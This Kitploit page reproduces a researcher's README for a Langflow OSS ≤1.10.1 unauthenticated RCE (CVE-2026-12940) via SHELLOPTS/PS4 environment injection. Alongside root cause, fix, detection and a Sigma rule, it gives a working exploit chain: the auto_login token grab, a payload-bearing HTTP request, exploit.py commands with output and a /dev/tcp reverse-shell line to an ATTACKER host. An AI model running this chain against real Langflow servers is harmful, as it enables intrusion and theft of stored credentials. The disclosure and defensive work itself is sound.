Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-12940-Langflow-Unauth-RCE — CVE-2026-12940 — Langflow OSS <=1.10.1 通过 MCP stdio 环境变量注入(SHELLOPTS/PS4)实现未认证 RCE。作者 PoC + 源码分析 + 实验环境。 | Kitploit
工具/GitHubGitHub/biitts/cve-2026-12940-langflow-unauth-rce
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育实验室与实践
GitHubbiitts/cve-2026-12940-langflow-unauth-rce

CVE-2026-12940-Langflow-Unauth-RCE

CVE-2026-12940 — Langflow OSS <=1.10.1 通过 MCP stdio 环境变量注入(SHELLOPTS/PS4)实现未认证 RCE。作者 PoC + 源码分析 + 实验环境。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
121个月前尚未审核
分享

CVE-2026-12940 — Langflow OSS ≤ 1.10.1 未认证 RCE(MCP stdio 环境变量注入)

在 Langflow OSS 直至 1.10.1 的版本中存在未认证远程代码执行漏洞。用于保护 MCP stdio 服务器配置的环境变量黑名单(DANGEROUS_ENV_VARS)遗漏了 SHELLOPTS、BASHOPTS 和 PS4。由于 MCP stdio 启动器会通过 bash -c 运行配置的命令,攻击者可以注入 SHELLOPTS=xtrace 以及 PS4 命令替换,并以 Langflow 进程用户的身份执行任意 shell 命令——无需有效的 MCP 命令,默认安装下也无需认证。

CVECVE-2026-12940
产品Langflow OSS
受影响版本1.0.0 – 1.10.1
已修复版本1.10.2
漏洞类型通过环境变量注入导致的 OS 命令注入(CWE-78)
CVSS 3.19.8 严重 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H(IBM CNA)
认证要求默认安装下无需认证(1.10.1 中默认开启 AUTO_LOGIN)
状态确认存在漏洞 — 已在 langflowai/langflow:1.10.1 上端到端验证

根因

Langflow 允许用户通过 POST /api/v2/mcp/servers/{name} 注册外部 MCP(Model Context Protocol)stdio 服务器。请求体会由 MCPServerConfig(src/backend/base/langflow/api/v2/schemas.py)进行校验,该校验对 command、args 以及 env 键(key) 都做了严格检查:

  • command 必须位于白名单中(node、python、npx、uvx、docker、sh、bash…)。
  • args 会扫描 shell 元字符(;、|、$、`、(、)、…)以及危险关键字(-c、、、…)。

两个缺陷组合起来形成 RCE:

  1. env 值从未被清理。 只有键会对照黑名单检查;值会原样透传。因此,即使相同的字符在 args 中会被拒绝,$(id) 这样的 PS4 值却能顺利通过。

  2. 黑名单不完整。 在 1.10.1 中,DANGEROUS_ENV_VARS 不包含 shellopts、bashopts 或 ps4。

随后,启动器(src/lfx/src/lfx/base/mcp/util.py)在 Unix 上执行以下逻辑:

root@kitploit:~
env_data = {"DEBUG": "true", "PATH": os.environ["PATH"], **(env or {})}
server_params = StdioServerParameters(
    command="bash",
    args=["-c", f"exec {command_str} || echo 'Command failed with exit code $?' >&2"],
    env=env_data,
)

当 SHELLOPTS=xtrace 时,bash 会在启动时启用 set -x,并且在执行第一条被追踪的行之前展开 PS4 提示符。因此,PS4 内部的命令替换会立即执行——与 command/args 无关,后者甚至无需是合法的。

修复(1.10.2)

黑名单被集中到 src/lfx/src/lfx/base/mcp/util.py 中的 DANGEROUS_MCP_ENV_VARS,并新增了 shellopts、bashopts、ps4(以及 env,作为纵深防御)。schemas.py 现在会调用 is_dangerous_mcp_env_var()。下面这个注册请求在 1.10.2 上会以 HTTP 422 被拒绝。

概念验证

root@kitploit:~
$ python3 exploit.py -u http://127.0.0.1:7860 --cmd "id > /tmp/proof 2>&1"
[*] target : http://127.0.0.1:7860
[*] PS4    : $(id > /tmp/proof 2>&1)
[+] obtained superuser token via /api/v1/auto_login (no credentials)
[+] registered MCP server 'saf550ddb' with SHELLOPTS/PS4 payload (HTTP 200)
[+] triggered launcher via GET /api/v2/mcp/servers?action_count=true (HTTP 200)
[+] payload PS4 executed on the server as the Langflow process user

$ docker exec lf-12940 cat /tmp/proof
uid=1000(user) gid=0(root) groups=0(root)

原始 HTTP 链路:

root@kitploit:~
GET /api/v1/auto_login HTTP/1.1            → 200, {"access_token":"…"}   (default install, no creds)

POST /api/v2/mcp/servers/pwn HTTP/1.1
Authorization: Bearer <token>
Content-Type: application/json

{"command":"uvx","args":["mcp-server-fetch"],
 "env":{"SHELLOPTS":"xtrace","PS4":"$(id > /tmp/proof 2>&1)"}}
                                            → 200 (accepted; LD_PRELOAD here → 422)

GET /api/v2/mcp/servers?action_count=true HTTP/1.1
Authorization: Bearer <token>
                                            → 200, launcher spawns bash → PS4 runs `id`

--ps4 提供了一个用于反向 shell / OAST 回调的原始原语:

root@kitploit:~
python3 exploit.py --ps4 '$(exec 3<>/dev/tcp/ATTACKER/9001; echo pwned $(id) >&3)'

复现实验环境

root@kitploit:~
docker run -d --name lf-12940 --network host langflowai/langflow:1.10.1
#   (this box has no docker bridge; --network host is required)
#   Langflow comes up on http://127.0.0.1:7860 with default config
python3 exploit.py -u http://127.0.0.1:7860 --cmd "id > /tmp/proof 2>&1"
docker exec lf-12940 cat /tmp/proof

已修复版本的边界(请求被拒绝):

root@kitploit:~
docker run -d --name lf-patched --network host langflowai/langflow:1.10.2
# POST .../mcp/servers/pwn with SHELLOPTS  →  HTTP 422
#   "Environment variable 'SHELLOPTS' is not allowed for security reasons"

完整抓取记录见 EVIDENCE.txt,源码级分析见 ANALYSIS.md。

结论

确认存在漏洞:langflowai/langflow:1.10.1,已通过两种独立技术验证:

  1. 带解析输出的文件写入 — 请求之前并不存在的文件中包含了 uid=1000(user) gid=0(root) groups=0(root),这是 id(1) 根据目标 /etc/passwd 解析出的真实输出,并非输入字符串 $(id …) 的回显。
  2. 带外 TCP 回调 — 目标会向攻击者监听器发起回连,并携带其真实主机名和内核(CALLBACK user@vbox 6.18.12+kali-amd64)。

已修复:langflowai/langflow:1.10.2 — 相同的注册请求返回 HTTP 422。

关于“无需认证”声明的说明。 1.10.1 镜像默认启用 AUTO_LOGIN,因此 /api/v1/auto_login 会向任何不带凭据的调用者返回超级用户令牌——这正是默认部署下整条利用链无需认证的原因。在强制启用认证的实例上,任何持有有效令牌/API 密钥的已认证用户都可以触发相同的 RCE(通过 --token 传入)。另外,1.10.2 镜像还要求提供凭据才能启动,这是一项不相关的加固措施。

影响

以 Langflow 服务账户身份执行任意命令。可完整读取 Langflow 数据库中的每个机密、凭据和流程,访问内部服务与云元数据,并以此为跳板进入周边网络。

修复建议

  • 升级到 Langflow OSS ≥ 1.10.2。
  • 不要在启用 AUTO_LOGIN 的情况下将 Langflow 暴露到不可信网络;请设置明确的超级用户凭据并禁用自动登录。
  • 纵深防御:使用无出站网络流量的受限账户运行该服务。

检测

查找 env 中带有 shell 控制变量的 MCP 服务器注册,以及 Langflow 进程衍生出的 bash 子进程:

root@kitploit:~
POST /api/v2/mcp/servers/* with a JSON body containing "SHELLOPTS", "BASHOPTS" or "PS4"
process: bash -c "exec …"  parented by the langflow/gunicorn worker

Sigma(进程创建):

root@kitploit:~
title: Langflow MCP stdio launcher shell-control env injection (CVE-2026-12940)
logsource: { category: process_creation, product: linux }
detection:
  selection:
    Image|endswith: '/bash'
    CommandLine|contains: 'exec '
    ParentImage|contains: 'langflow'
  env_marker:
    CommandLine|contains:
      - 'SHELLOPTS'
      - 'PS4=$('
  condition: selection or env_marker
level: high

许可证

© Caio Fabrício (BiiTts).

下载工具
eval
pip install
  • env 键 会根据 DANGEROUS_ENV_VARS(LD_PRELOAD、PATH、NODE_OPTIONS、PYTHONPATH、BASH_ENV、…)进行检查。